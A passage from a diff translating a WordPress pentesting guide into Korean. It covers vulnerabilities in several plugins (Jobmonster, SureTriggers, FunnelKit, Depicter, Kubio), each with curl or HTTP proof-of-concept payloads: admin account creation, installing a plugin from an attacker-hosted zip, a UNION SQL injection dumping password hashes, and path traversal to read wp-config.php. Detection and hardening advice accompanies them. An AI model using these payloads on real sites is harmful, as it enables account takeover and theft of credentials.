branch)๊ฐ€ ๊ณต๊ฒฉ์ž ์ž…๋ ฅ์„ ์ˆ˜์šฉํ•จ. +- get_user_by('email', $_POST['id']) ๋‹ค์Œ์— wp_set_auth_cookie($uid)๊ฐ€ ํ˜ธ์ถœ๋˜๋ฉด ์š”์ฒญ์ž๋ฅผ ๊ธฐ์กด ์ด๋ฉ”์ผ ์ฃผ์†Œ์˜ ๊ณ„์ •์œผ๋กœ ์ธ์ฆ์‹œํ‚ด. -์•…์šฉ (๋น„์ธ์ฆ) +Exploitation (unauthenticated) -- ์ „์ œ์กฐ๊ฑด: ๊ณต๊ฒฉ์ž๊ฐ€ /wp-admin/admin-ajax.php์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๊ณ  ์œ ํšจํ•œ ์‚ฌ์šฉ์ž ์ด๋ฉ”์ผ์„ ์•Œ๊ณ  ์žˆ๊ฑฐ๋‚˜ ์ถ”์ธกํ•  ์ˆ˜ ์žˆ์Œ. -- provider๋ฅผ ์ง€์›๋˜์ง€ ์•Š๋Š” ๊ฐ’์œผ๋กœ ์„ค์ •(๋˜๋Š” ์ƒ๋žต)ํ•˜์—ฌ default branch๋ฅผ ํƒ€๊ฒŒ ํ•œ ๋’ค id=๋ฅผ ์ „๋‹ฌ. +- Prerequisites: ๊ณต๊ฒฉ์ž๊ฐ€ /wp-admin/admin-ajax.php์— ์ ‘๊ทผ ๊ฐ€๋Šฅํ•˜๊ณ  ์œ ํšจํ•œ ์‚ฌ์šฉ์ž ์ด๋ฉ”์ผ์„ ์•Œ๊ณ  ์žˆ๊ฑฐ๋‚˜ ์ถ”์ธกํ•  ์ˆ˜ ์žˆ์Œ. +- provider๋ฅผ ์ง€์›๋˜์ง€ ์•Š๋Š” ๊ฐ’์œผ๋กœ ์„ค์ •(๋˜๋Š” ์ƒ๋žต)ํ•˜์—ฌ ๊ธฐ๋ณธ ๋ถ„๊ธฐ(default branch)๋ฅผ ํƒ€๊ฒŒ ํ•˜๊ณ  id=๋ฅผ ์ „๋‹ฌ. ```http POST /wp-admin/admin-ajax.php HTTP/1.1 Host: victim.tld @@ -715,34 +715,34 @@ Expected success indicators Finding the action name -- Inspect the theme/plugin for add_action('wp_ajax_nopriv_...', '...') registrations in social login code (e.g., framework/add-ons/social-login/class-social-login.php). -- Grep for wp_set_auth_cookie(), get_user_by('email', ...) inside AJAX handlers. +- ํ…Œ๋งˆ/ํ”Œ๋Ÿฌ๊ทธ์ธ์—์„œ social login ์ฝ”๋“œ์˜ add_action('wp_ajax_nopriv_...', '...') ๋“ฑ๋ก์„ ํ™•์ธ (์˜ˆ: framework/add-ons/social-login/class-social-login.php). +- AJAX ํ•ธ๋“ค๋Ÿฌ ๋‚ด๋ถ€์—์„œ wp_set_auth_cookie(), get_user_by('email', ...) ๋“ฑ์„ grep๋กœ ๊ฒ€์ƒ‰. Detection checklist -- Web logs showing unauthenticated POSTs to /wp-admin/admin-ajax.php with the social-login action and id=. -- 200 responses with the success JSON immediately preceding authenticated traffic from the same IP/User-Agent. +- /wp-admin/admin-ajax.php์— ๋Œ€ํ•ด social-login action๊ณผ id=์„ ํฌํ•จํ•œ ์ธ์ฆ๋˜์ง€ ์•Š์€ POST๊ฐ€ ์›น ๋กœ๊ทธ์— ๊ธฐ๋ก๋จ. +- ๋™์ผ IP/User-Agent์—์„œ ์„ฑ๊ณต JSON์„ ๋ฐ˜ํ™˜ํ•œ 200 ์‘๋‹ต ์งํ›„ ์ธ์ฆ๋œ ํŠธ๋ž˜ํ”ฝ ๋ฐœ์ƒ. Hardening -- ํด๋ผ์ด์–ธํŠธ ์ž…๋ ฅ์œผ๋กœ๋ถ€ํ„ฐ ์‹ ์›์„ ์œ ์ถ”ํ•˜์ง€ ๋งˆ์„ธ์š”. ๊ฒ€์ฆ๋œ provider ํ† ํฐ/ID์—์„œ ์œ ๋ž˜ํ•œ ์ด๋ฉ”์ผ/ID๋งŒ ํ—ˆ์šฉํ•˜์‹ญ์‹œ์˜ค. -- ๋กœ๊ทธ์ธ ํ—ฌํผ์—๋„ CSRF nonces ๋ฐ capability checks๋ฅผ ์š”๊ตฌํ•˜์„ธ์š”; ๋ถˆํ•„์š”ํ•œ ๊ฒฝ์šฐ wp_ajax_nopriv_ ๋“ฑ๋ก์„ ํ”ผํ•˜์‹ญ์‹œ์˜ค. -- OAuth/OIDC ์‘๋‹ต์„ ์„œ๋ฒ„ ์ธก์—์„œ ๊ฒ€์ฆํ•˜๊ณ  ํ™•์ธํ•˜์„ธ์š”; ๋ˆ„๋ฝ๋˜์—ˆ๊ฑฐ๋‚˜ ์œ ํšจํ•˜์ง€ ์•Š์€ ๊ณต๊ธ‰์ž(provider)๋Š” ๊ฑฐ๋ถ€ํ•˜์‹ญ์‹œ์˜ค(POST id๋กœ์˜ ํด๋ฐฑ ๊ธˆ์ง€). -- ์ˆ˜์ •๋  ๋•Œ๊นŒ์ง€ ์†Œ์…œ ๋กœ๊ทธ์ธ์„ ์ผ์‹œ์ ์œผ๋กœ ๋น„ํ™œ์„ฑํ™”ํ•˜๊ฑฐ๋‚˜ ์—ฃ์ง€์—์„œ ์ทจ์•ฝํ•œ ์•ก์…˜์„ ์ฐจ๋‹จํ•˜๋Š” ๋ฐฉ์‹์œผ๋กœ ๊ฐ€์ƒ ํŒจ์น˜๋ฅผ ๊ณ ๋ คํ•˜์„ธ์š”. +- ํด๋ผ์ด์–ธํŠธ ์ž…๋ ฅ์œผ๋กœ ์‹ ์›์„ ์œ ์ถ”ํ•˜์ง€ ๋งˆ๋ผ. ์ด๋ฉ”์ผ/ID๋Š” ๊ฒ€์ฆ๋œ provider ํ† ํฐ/ID์—์„œ๋งŒ ์ˆ˜์šฉํ•œ๋‹ค. +- ๋กœ๊ทธ์ธ ํ—ฌํผ์—๋„ CSRF nonce์™€ capability ์ฒดํฌ๋ฅผ ์š”๊ตฌํ•˜๋ผ; ๋ถˆํ•„์š”ํ•œ ๊ฒฝ์šฐ wp_ajax_nopriv_ ๋“ฑ๋ก์„ ํ”ผํ•˜๋ผ. +- OAuth/OIDC ์‘๋‹ต์„ ์„œ๋ฒ„์‚ฌ์ด๋“œ์—์„œ ๊ฒ€์ฆํ•˜๊ณ  ํ™•์ธํ•˜๋ผ; ์ œ๊ณต์ž ๋ˆ„๋ฝ/์ž˜๋ชป๋œ ๊ฒฝ์šฐ(POST id๋กœ ํด๋ฐฑํ•˜์ง€ ๋ง๊ณ ) ๊ฑฐ๋ถ€ํ•˜๋ผ. +- ์ž„์‹œ๋กœ social login์„ ๋น„ํ™œ์„ฑํ™”ํ•˜๊ฑฐ๋‚˜ ์—ฃ์ง€์—์„œ ๊ฐ€์ƒ ํŒจ์น˜(์ทจ์•ฝ action ์ฐจ๋‹จ)ํ•˜์—ฌ ์ˆ˜์ •๋  ๋•Œ๊นŒ์ง€ ์ฐจ๋‹จ์„ ๊ณ ๋ คํ•˜๋ผ. Patched behaviour (Jobmonster 4.8.0) -- Removed the insecure fallback from $_POST['id']; $user_email must originate from verified provider branches in switch($_POST['using']). +- $_POST['id']์˜ ๋ถˆ์•ˆ์ „ํ•œ ํด๋ฐฑ์„ ์ œ๊ฑฐํ•จ; $user_email์€ switch($_POST['using'])์˜ ๊ฒ€์ฆ๋œ provider ๋ถ„๊ธฐ์—์„œ ์œ ๋ž˜ํ•ด์•ผ ํ•จ. ## Unauthenticated privilege escalation via REST token/key minting on predictable identity (OttoKit/SureTriggers โ‰ค 1.0.82) -์ผ๋ถ€ ํ”Œ๋Ÿฌ๊ทธ์ธ์€ ํ˜ธ์ถœ์ž์˜ ๊ถŒํ•œ์„ ๊ฒ€์ฆํ•˜์ง€ ์•Š๊ณ  ์žฌ์‚ฌ์šฉ ๊ฐ€๋Šฅํ•œ โ€œconnection keysโ€ ๋˜๋Š” ํ† ํฐ์„ ๋ฐœ๊ธ‰ํ•˜๋Š” REST ์—”๋“œํฌ์ธํŠธ๋ฅผ ๋…ธ์ถœํ•ฉ๋‹ˆ๋‹ค. ๊ฒฝ๋กœ๊ฐ€ ์ถ”์ธก ๊ฐ€๋Šฅํ•œ ์†์„ฑ(์˜ˆ: username)๋งŒ์œผ๋กœ ์ธ์ฆํ•˜๊ณ  ํ‚ค๋ฅผ ์‚ฌ์šฉ์ž/์„ธ์…˜์— capability checks๋กœ ๋ฐ”์ธ๋”ฉํ•˜์ง€ ์•Š์œผ๋ฉด, ๋ชจ๋“  ๋ฏธ์ธ์ฆ ๊ณต๊ฒฉ์ž๊ฐ€ ํ‚ค๋ฅผ ๋ฐœ๊ธ‰(mint)ํ•˜์—ฌ ๊ถŒํ•œ ์žˆ๋Š” ๋™์ž‘(๊ด€๋ฆฌ์ž ๊ณ„์ • ์ƒ์„ฑ, ํ”Œ๋Ÿฌ๊ทธ์ธ ์•ก์…˜ โ†’ RCE)์„ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +์ผ๋ถ€ ํ”Œ๋Ÿฌ๊ทธ์ธ์€ ํ˜ธ์ถœ์ž์˜ ๊ถŒํ•œ์„ ๊ฒ€์ฆํ•˜์ง€ ์•Š๊ณ  ์žฌ์‚ฌ์šฉ ๊ฐ€๋Šฅํ•œ โ€œconnection keysโ€ ๋˜๋Š” ํ† ํฐ์„ ๋ฐœ๊ธ‰ํ•˜๋Š” REST ์—”๋“œํฌ์ธํŠธ๋ฅผ ๋…ธ์ถœํ•œ๋‹ค. ๊ฒฝ๋กœ๊ฐ€ ์ถ”์ธก ๊ฐ€๋Šฅํ•œ ์†์„ฑ(์˜ˆ: username)๋งŒ์œผ๋กœ ์ธ์ฆํ•˜๊ณ , key๋ฅผ current_user_can() ๋˜๋Š” ์—„๊ฒฉํ•œ permission_callback๊ณผ ๊ฐ™์€ ์‚ฌ์šฉ์ž/์„ธ์…˜์— ๋ฐ”์ธ๋”ฉํ•˜์ง€ ์•Š์œผ๋ฉด, ์ธ์ฆ๋˜์ง€ ์•Š์€ ๊ณต๊ฒฉ์ž๊ฐ€ ํ‚ค๋ฅผ ๋ฐœ๊ธ‰ํ•ด ๋‚ด๋ถ€ ๊ถŒํ•œ ๋™์ž‘(๊ด€๋ฆฌ์ž ๊ณ„์ • ์ƒ์„ฑ, ํ”Œ๋Ÿฌ๊ทธ์ธ ๋™์ž‘ โ†’ RCE)์„ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๋‹ค. - Vulnerable route (example): sure-triggers/v1/connection/create-wp-connection - Flaw: accepts a username, issues a connection key without current_user_can() or a strict permission_callback - Impact: full takeover by chaining the minted key to internal privileged actions -PoC โ€“ mint a connection key and use it +PoC โ€“ ์—ฐ๊ฒฐ ํ‚ค๋ฅผ ๋ฐœ๊ธ‰ํ•œ ๋’ค ์‚ฌ์šฉํ•˜๊ธฐ ```bash # 1) Obtain key (unauthenticated). Exact payload varies per plugin curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/connection/create-wp-connection" \ @@ -756,25 +756,25 @@ curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/users" \ -H 'X-Connection-Key: ' \ --data '{"username":"pwn","email":"p@t.ld","password":"p@ss","role":"administrator"}' ``` -Why itโ€™s exploitable -- ๋ฏผ๊ฐํ•œ REST route๊ฐ€ ๋‚ฎ์€ ์—”ํŠธ๋กœํ”ผ์˜ ์‹ ์› ์ฆ๋ช…(username)์œผ๋กœ๋งŒ ๋ณดํ˜ธ๋˜๊ฑฐ๋‚˜ permission_callback์ด ๋ˆ„๋ฝ๋จ -- capability ๊ฒ€์‚ฌ๊ฐ€ ์—†์Œ; ๋ฐœ๊ธ‰๋œ key๊ฐ€ ๋ฒ”์šฉ ์šฐํšŒ๋กœ๋กœ ์ˆ˜์šฉ๋จ +์ทจ์•ฝํ•œ ์ด์œ  +- ๋ฏผ๊ฐํ•œ REST ๊ฒฝ๋กœ๊ฐ€ ์—”ํŠธ๋กœํ”ผ๊ฐ€ ๋‚ฎ์€ ์‹๋ณ„ ์ฆ๋ช…(username)์— ์˜ํ•ด์„œ๋งŒ ๋ณดํ˜ธ๋˜๊ฑฐ๋‚˜ permission_callback์ด ๋ˆ„๋ฝ๋จ +- ๊ถŒํ•œ ๊ฒ€์‚ฌ ์—†์Œ; ๋ฐœ๊ธ‰๋œ ํ‚ค๊ฐ€ ๋ฒ”์šฉ ์šฐํšŒ๋กœ๋กœ ์ˆ˜์šฉ๋จ -Detection checklist -- register_rest_route(..., [ 'permission_callback' => '__return_true' ]) ๋ฅผ ์ฐพ๊ธฐ ์œ„ํ•ด ํ”Œ๋Ÿฌ๊ทธ์ธ ์ฝ”๋“œ๋ฅผ grep -- ์š”์ฒญ์œผ๋กœ ์ œ๊ณต๋œ ์‹ ์›(username/email)์„ ๊ธฐ๋ฐ˜์œผ๋กœ ํ† ํฐ/ํ‚ค๋ฅผ ๋ฐœ๊ธ‰ํ•˜๋˜ ์ด๋ฅผ ์ธ์ฆ๋œ ์‚ฌ์šฉ์ž๋‚˜ capability์™€ ์—ฐ๊ฒฐํ•˜์ง€ ์•Š๋Š” ๋ชจ๋“  route -- ์„œ๋ฒ„ ์ธก capability ๊ฒ€์‚ฌ ์—†์ด ๋ฐœ๊ธ‰๋œ token/key๋ฅผ ์ˆ˜์šฉํ•˜๋Š” ํ›„์† route๋ฅผ ์ฐพ์•„๋ผ +ํƒ์ง€ ์ฒดํฌ๋ฆฌ์ŠคํŠธ +- plugin ์ฝ”๋“œ์—์„œ register_rest_route(..., [ 'permission_callback' => '__return_true' ]) ๋ฅผ grep +- ์š”์ฒญ์œผ๋กœ ์ œ๊ณต๋œ ์‹๋ณ„ ์ •๋ณด(username/email)๋ฅผ ๋ฐ”ํƒ•์œผ๋กœ tokens/keys๋ฅผ ๋ฐœ๊ธ‰ํ•˜๋˜ ์ธ์ฆ๋œ ์‚ฌ์šฉ์ž๋‚˜ ๊ถŒํ•œ์— ๋ฌถ์ง€ ์•Š๋Š” ๋ชจ๋“  ๊ฒฝ๋กœ +- ์„œ๋ฒ„ ์ธก ๊ถŒํ•œ ๊ฒ€์‚ฌ ์—†์ด ๋ฐœ๊ธ‰๋œ token/key๋ฅผ ์ˆ˜์šฉํ•˜๋Š” ์ดํ›„์˜ ๊ฒฝ๋กœ๋ฅผ ์ฐพ์•„๋ผ -Hardening -- ๊ถŒํ•œ์ด ํ•„์š”ํ•œ ๋ชจ๋“  REST route์— ๋Œ€ํ•ด: ํ•„์š”ํ•œ capability์— ๋Œ€ํ•ด current_user_can()์„ ์ ์šฉํ•˜๋Š” permission_callback ์š”๊ตฌ -- ํด๋ผ์ด์–ธํŠธ๊ฐ€ ์ œ๊ณตํ•œ ์‹ ์›์œผ๋กœ ์žฅ๊ธฐ ์œ ํšจ ํ‚ค๋ฅผ ๋ฐœ๊ธ‰ํ•˜์ง€ ๋งˆ๋ผ; ํ•„์š”ํ•œ ๊ฒฝ์šฐ ์ธ์ฆ ํ›„ ๋‹จ๋ช…, ์‚ฌ์šฉ์ž ๋ฐ”์ธ๋”ฉ๋œ ํ† ํฐ์„ ๋ฐœ๊ธ‰ํ•˜๊ณ  ์‚ฌ์šฉ ์‹œ capability๋ฅผ ๋‹ค์‹œ ํ™•์ธํ•˜๋ผ -- ํ˜ธ์ถœ์ž์˜ ์‚ฌ์šฉ์ž ์ปจํ…์ŠคํŠธ๋ฅผ ๊ฒ€์ฆํ•˜๋ผ (wp_set_current_user๋งŒ์œผ๋กœ๋Š” ์ถฉ๋ถ„ํ•˜์ง€ ์•Š์Œ) ๊ทธ๋ฆฌ๊ณ  !is_user_logged_in() || !current_user_can() ์ธ ์š”์ฒญ์€ ๊ฑฐ๋ถ€ํ•˜๋ผ +๋ณด์•ˆ ๊ฐ•ํ™” +- ๊ถŒํ•œ์ด ํ•„์š”ํ•œ REST ๊ฒฝ๋กœ์—๋Š” ํ•ด๋‹น capability์— ๋Œ€ํ•ด current_user_can()์„ ๊ฐ•์ œํ•˜๋Š” permission_callback ํ•„์š” +- ํด๋ผ์ด์–ธํŠธ ์ œ๊ณต ์‹๋ณ„๋กœ ์žฅ๊ธฐ ํ‚ค๋ฅผ ๋ฐœ๊ธ‰ํ•˜์ง€ ๋ง ๊ฒƒ; ํ•„์š”ํ•˜๋ฉด ์ธ์ฆ ํ›„ ๋‹จ๊ธฐ๊ฐ„, ์‚ฌ์šฉ์ž ๋ฐ”์ธ๋”ฉ๋œ ํ† ํฐ์„ ๋ฐœ๊ธ‰ํ•˜๊ณ  ์‚ฌ์šฉ ์‹œ ๊ถŒํ•œ์„ ์žฌ๊ฒ€์‚ฌ +- ํ˜ธ์ถœ์ž์˜ ์‚ฌ์šฉ์ž ์ปจํ…์ŠคํŠธ๋ฅผ ๊ฒ€์ฆ (wp_set_current_user๋งŒ์œผ๋กœ๋Š” ๋ถˆ์ถฉ๋ถ„) ํ•˜๊ณ  !is_user_logged_in() || !current_user_can() ์ธ ์š”์ฒญ์€ ๊ฑฐ๋ถ€ --- -## Nonce gate misuse โ†’ unauthenticated arbitrary plugin installation (FunnelKit Automations โ‰ค 3.5.3) +## Nonce ๊ฒŒ์ดํŠธ ์˜ค์šฉ โ†’ ์ธ์ฆ๋˜์ง€ ์•Š์€ ์ž„์˜์˜ plugin ์„ค์น˜ (FunnelKit Automations โ‰ค 3.5.3) -Nonces๋Š” CSRF๋ฅผ ๋ฐฉ์ง€ํ•˜์ง€๋งŒ ๊ถŒํ•œ ๋ถ€์—ฌ๋ฅผ ๋Œ€์ฒดํ•˜์ง€ ์•Š๋Š”๋‹ค. ์ฝ”๋“œ๊ฐ€ nonce ํ†ต๊ณผ๋ฅผ ์ผ์ข…์˜ ํ—ˆ๊ฐ€ ์‹ ํ˜ธ๋กœ ๊ฐ„์ฃผํ•˜๊ณ  ๊ถŒํ•œ์ด ํ•„์š”ํ•œ ์ž‘์—…(์˜ˆ: install/activate plugins)์— ๋Œ€ํ•œ capability ๊ฒ€์‚ฌ๋ฅผ ๊ฑด๋„ˆ๋›ฐ๋ฉด, ์ธ์ฆ๋˜์ง€ ์•Š์€ ๊ณต๊ฒฉ์ž๋Š” ์•ฝํ•œ nonce ์š”๊ตฌ๋ฅผ ์ถฉ์กฑ์‹œ์ผœ ๋ฐฑ๋„์–ด๊ฐ€ ์‹ฌ๊ธด ๋˜๋Š” ์ทจ์•ฝํ•œ ํ”Œ๋Ÿฌ๊ทธ์ธ์„ ์„ค์น˜ํ•จ์œผ๋กœ์จ RCE์— ๋„๋‹ฌํ•  ์ˆ˜ ์žˆ๋‹ค. +Nonces๋Š” CSRF๋ฅผ ๋ฐฉ์ง€ํ•  ๋ฟ authorization์„ ๋ณด์žฅํ•˜์ง€ ์•Š๋Š”๋‹ค. ์ฝ”๋“œ๊ฐ€ nonce ํ†ต๊ณผ๋ฅผ ์Šน์ธ ์‹ ํ˜ธ๋กœ ์ฒ˜๋ฆฌํ•˜๊ณ  ๊ถŒํ•œ์ด ํ•„์š”ํ•œ ์ž‘์—…(์˜ˆ: install/activate plugins)์— ๋Œ€ํ•œ capability ๊ฒ€์‚ฌ๋ฅผ ๊ฑด๋„ˆ๋›ฐ๋ฉด, ์ธ์ฆ๋˜์ง€ ์•Š์€ ๊ณต๊ฒฉ์ž๋Š” ์•ฝํ•œ nonce ์š”๊ฑด์„ ์ถฉ์กฑ์‹œ์ผœ ๋ฐฑ๋„์–ด ๋˜๋Š” ์ทจ์•ฝํ•œ plugin์„ ์„ค์น˜ํ•จ์œผ๋กœ์จ RCE์— ์ด๋ฅผ ์ˆ˜ ์žˆ๋‹ค. - Vulnerable path: plugin/install_and_activate - Flaw: weak nonce hash check; no current_user_can('install_plugins'|'activate_plugins') once nonce โ€œpassesโ€ @@ -786,24 +786,24 @@ curl -i -s -X POST https://victim.tld/wp-json//plugin/install_and_ -H 'Content-Type: application/json' \ --data '{"_nonce":"","slug":"hello-dolly","source":"https://attacker.tld/mal.zip"}' ``` -ํƒ์ง€ ์ฒดํฌ๋ฆฌ์ŠคํŠธ -- REST/AJAX handlers that modify plugins/themes with only wp_verify_nonce()/check_admin_referer() and no capability check -- Any code path that sets $skip_caps = true after nonce validation +Detection checklist +- ํ”Œ๋Ÿฌ๊ทธ์ธ/ํ…Œ๋งˆ๋ฅผ ์ˆ˜์ •ํ•˜๋Š” REST/AJAX ํ•ธ๋“ค๋Ÿฌ๊ฐ€ wp_verify_nonce()/check_admin_referer()๋งŒ ์‚ฌ์šฉํ•˜๊ณ  ๊ถŒํ•œ ๊ฒ€์‚ฌ ์—†์Œ +- nonce ๊ฒ€์ฆ ํ›„ $skip_caps = true๋กœ ์„ค์ •๋˜๋Š” ๋ชจ๋“  ์ฝ”๋“œ ๊ฒฝ๋กœ -ํ•˜๋“œ๋‹ -- Always treat nonces as CSRF tokens only; enforce capability checks regardless of nonce state -- Require current_user_can('install_plugins') and current_user_can('activate_plugins') before reaching installer code -- Reject unauthenticated access; avoid exposing nopriv AJAX actions for privileged flows +Hardening +- nonces๋ฅผ ํ•ญ์ƒ CSRF ํ† ํฐ์œผ๋กœ๋งŒ ์ทจ๊ธ‰ํ•˜์„ธ์š”; nonce ์ƒํƒœ์™€ ๊ด€๊ณ„์—†์ด ๊ถŒํ•œ ๊ฒ€์‚ฌ๋ฅผ ์‹œํ–‰ํ•˜์„ธ์š” +- installer code์— ๋„๋‹ฌํ•˜๊ธฐ ์ „์— current_user_can('install_plugins') ๋ฐ current_user_can('activate_plugins')๋ฅผ ์š”๊ตฌํ•˜์„ธ์š” +- ์ธ์ฆ๋˜์ง€ ์•Š์€ ์ ‘๊ทผ์„ ๊ฑฐ๋ถ€ํ•˜์„ธ์š”; ๊ถŒํ•œ์ด ํ•„์š”ํ•œ ํ๋ฆ„์— ๋Œ€ํ•ด nopriv AJAX actions๋ฅผ ๋…ธ์ถœํ•˜์ง€ ๋งˆ์„ธ์š” --- -## depicter-* ์•ก์…˜์˜ s (search) ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ํ†ตํ•œ ์ธ์ฆ๋˜์ง€ ์•Š์€ SQLi (Depicter Slider โ‰ค 3.6.1) +## depicter-* actions์˜ s (search) ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ํ†ตํ•œ ์ธ์ฆ๋˜์ง€ ์•Š์€ SQLi (Depicter Slider โ‰ค 3.6.1) -์—ฌ๋Ÿฌ depicter-* ์•ก์…˜์ด s (search) ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ์‚ฌ์šฉํ•ด ์ด๋ฅผ ํŒŒ๋ผ๋ฏธํ„ฐํ™” ์—†์ด SQL ์ฟผ๋ฆฌ์— ์—ฐ๊ฒฐํ–ˆ๋‹ค. +์—ฌ๋Ÿฌ depicter-* actions๊ฐ€ s (search) ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ๋ฐ›์•„ ํŒŒ๋ผ๋ฏธํ„ฐํ™” ์—†์ด SQL ์ฟผ๋ฆฌ์— ๋ฌธ์ž์—ด๋กœ ์—ฐ๊ฒฐํ–ˆ์Šต๋‹ˆ๋‹ค. -- Parameter: s (search) -- Flaw: direct string concatenation in WHERE/LIKE clauses; no prepared statements/sanitization -- Impact: database exfiltration (users, hashes), lateral movement +- ํŒŒ๋ผ๋ฏธํ„ฐ: s (search) +- ๊ฒฐํ•จ: WHERE/LIKE clauses์—์„œ ์ง์ ‘ ๋ฌธ์ž์—ด ์—ฐ๊ฒฐ; prepared statements/sanitization ์—†์Œ +- ์˜ํ–ฅ: database exfiltration (users, hashes), lateral movement PoC ```bash @@ -813,34 +813,34 @@ curl -G "https://victim.tld/wp-admin/admin-ajax.php" \ --data-urlencode "s=' UNION SELECT user_login,user_pass FROM wp_users-- -" ``` ํƒ์ง€ ์ฒดํฌ๋ฆฌ์ŠคํŠธ -- grep์œผ๋กœ depicter-* action ํ•ธ๋“ค๋Ÿฌ์™€ SQL์—์„œ $_GET['s'] ๋˜๋Š” $_POST['s']์˜ ์ง์ ‘ ์‚ฌ์šฉ์„ ์ฐพ์•„๋ณด์„ธ์š” -- $wpdb->get_results()/query()๋กœ ์ „๋‹ฌ๋˜๋Š” ์ปค์Šคํ…€ ์ฟผ๋ฆฌ์—์„œ s๋ฅผ ์—ฐ๊ฒฐ(concatenating)ํ•˜๋Š” ๋ถ€๋ถ„์„ ๊ฒ€ํ† ํ•˜์„ธ์š” +- Grep for depicter-* action handlers ๋ฐ SQL์—์„œ $_GET['s'] ๋˜๋Š” $_POST['s']์˜ ์ง์ ‘ ์‚ฌ์šฉ ๊ฒ€์ƒ‰ +- $wpdb->get_results()/query()์— s๋ฅผ ์—ฐ๊ฒฐํ•˜์—ฌ ์ „๋‹ฌ๋˜๋Š” ์ปค์Šคํ…€ ์ฟผ๋ฆฌ ๊ฒ€ํ†  -๋ณด์•ˆ ๊ฐ•ํ™” -- ํ•ญ์ƒ $wpdb->prepare()๋‚˜ wpdb ํ”Œ๋ ˆ์ด์Šคํ™€๋”๋ฅผ ์‚ฌ์šฉํ•˜๊ณ ; ์˜ˆ์ƒ์น˜ ๋ชปํ•œ ๋ฉ”ํƒ€๋ฌธ์ž๋Š” ์„œ๋ฒ„ ์ธก์—์„œ ์ฐจ๋‹จํ•˜์„ธ์š” -- s์— ๋Œ€ํ•ด ์—„๊ฒฉํ•œ ํ—ˆ์šฉ ๋ชฉ๋ก์„ ์ถ”๊ฐ€ํ•˜๊ณ  ์˜ˆ์ƒ๋œ ๋ฌธ์ž์…‹/๊ธธ์ด๋กœ ์ •๊ทœํ™”ํ•˜์„ธ์š” +ํ•˜๋“œ๋‹ +- ํ•ญ์ƒ $wpdb->prepare() ๋˜๋Š” wpdb placeholders ์‚ฌ์šฉ; ์„œ๋ฒ„ ์ธก์—์„œ ์˜ˆ์ƒ์น˜ ์•Š์€ ๋ฉ”ํƒ€๋ฌธ์ž(reject unexpected metacharacters) ์ฐจ๋‹จ +- s์— ๋Œ€ํ•ด ์—„๊ฒฉํ•œ allowlist ์ถ”๊ฐ€ ๋ฐ ์˜ˆ์ƒ charset/length๋กœ ์ •๊ทœํ™” --- -## Unauthenticated Local File Inclusion via unvalidated template/file path (Kubio AI Page Builder โ‰ค 2.5.1) +## ์ธ์ฆ๋˜์ง€ ์•Š์€ Local File Inclusion via unvalidated template/file path (Kubio AI Page Builder โ‰ค 2.5.1) -ํ…œํ”Œ๋ฆฟ ํŒŒ๋ผ๋ฏธํ„ฐ์—์„œ ๊ณต๊ฒฉ์ž๊ฐ€ ์ œ์–ดํ•˜๋Š” ๊ฒฝ๋กœ๋ฅผ ์ •๊ทœํ™”/์ œํ•œ ์—†์ด ์ˆ˜๋ฝํ•˜๋ฉด ์ž„์˜์˜ ๋กœ์ปฌ ํŒŒ์ผ์„ ์ฝ์„ ์ˆ˜ ์žˆ๊ณ , includable PHP/log ํŒŒ์ผ์ด ๋Ÿฐํƒ€์ž„์— ํฌํ•จ๋˜๋ฉด ๊ฒฝ์šฐ์— ๋”ฐ๋ผ ์ฝ”๋“œ ์‹คํ–‰์œผ๋กœ ์ด์–ด์งˆ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +๊ฒ€์ฆ/์ œํ•œ ์—†์ด template ํŒŒ๋ผ๋ฏธํ„ฐ์— ๊ณต๊ฒฉ์ž๊ฐ€ ์ œ์–ดํ•˜๋Š” ๊ฒฝ๋กœ๋ฅผ ํ—ˆ์šฉํ•˜๋ฉด ์ž„์˜์˜ ๋กœ์ปฌ ํŒŒ์ผ์„ ์ฝ์„ ์ˆ˜ ์žˆ์œผ๋ฉฐ, ํฌํ•จ ๊ฐ€๋Šฅํ•œ PHP/log ํŒŒ์ผ์ด ๋Ÿฐํƒ€์ž„์— ํฌํ•จ๋  ๊ฒฝ์šฐ ํŠน์ • ํ™˜๊ฒฝ์—์„œ code execution์ด ๋ฐœ์ƒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. - Parameter: __kubio-site-edit-iframe-classic-template -- Flaw: ์ •๊ทœํ™”/ํ—ˆ์šฉ ๋ชฉ๋ก ์—†์Œ; ๋””๋ ‰ํ„ฐ๋ฆฌ ํŠธ๋ž˜๋ฒ„์„ค ํ—ˆ์šฉ -- Impact: ๊ธฐ๋ฐ€ ๋…ธ์ถœ (wp-config.php), ํŠน์ • ํ™˜๊ฒฝ์—์„œ๋Š” ์ž ์žฌ์  RCE (๋กœ๊ทธ ํฌ์ด์ฆˆ๋‹, includable PHP) +- Flaw: ์ •๊ทœํ™”/ํ—ˆ์šฉ๋ชฉ๋ก ์—†์Œ; traversal permitted +- Impact: secret disclosure (wp-config.php), potential RCE in specific environments (log poisoning, includable PHP) PoC โ€“ wp-config.php ์ฝ๊ธฐ ```bash curl -i "https://victim.tld/?__kubio-site-edit-iframe-classic-template=../../../../wp-config.php" ``` ํƒ์ง€ ์ฒดํฌ๋ฆฌ์ŠคํŠธ -- ์š”์ฒญ ๊ฒฝ๋กœ๋ฅผ realpath() containment ์—†์ด include()/require()/read sink์— ์ด์–ด๋ถ™์ด๋Š” ํ•ธ๋“ค๋Ÿฌ๊ฐ€ ์žˆ๋Š”์ง€ ํ™•์ธ -- ์˜๋„๋œ templates ๋””๋ ‰ํ„ฐ๋ฆฌ ๋ฐ–์œผ๋กœ ๋ฒ—์–ด๋‚˜๋Š” traversal ํŒจํ„ด (../)์„ ํ™•์ธ +- realpath() containment ์—†์ด request ๊ฒฝ๋กœ๋ฅผ include()/require()/read sink์— ์—ฐ๊ฒฐ(concatenating)ํ•˜๋Š” ๋ชจ๋“  handler +- ์˜๋„ํ•œ templates ๋””๋ ‰ํ† ๋ฆฌ ๋ฐ”๊นฅ์œผ๋กœ ๋ฒ—์–ด๋‚˜๋Š” traversal 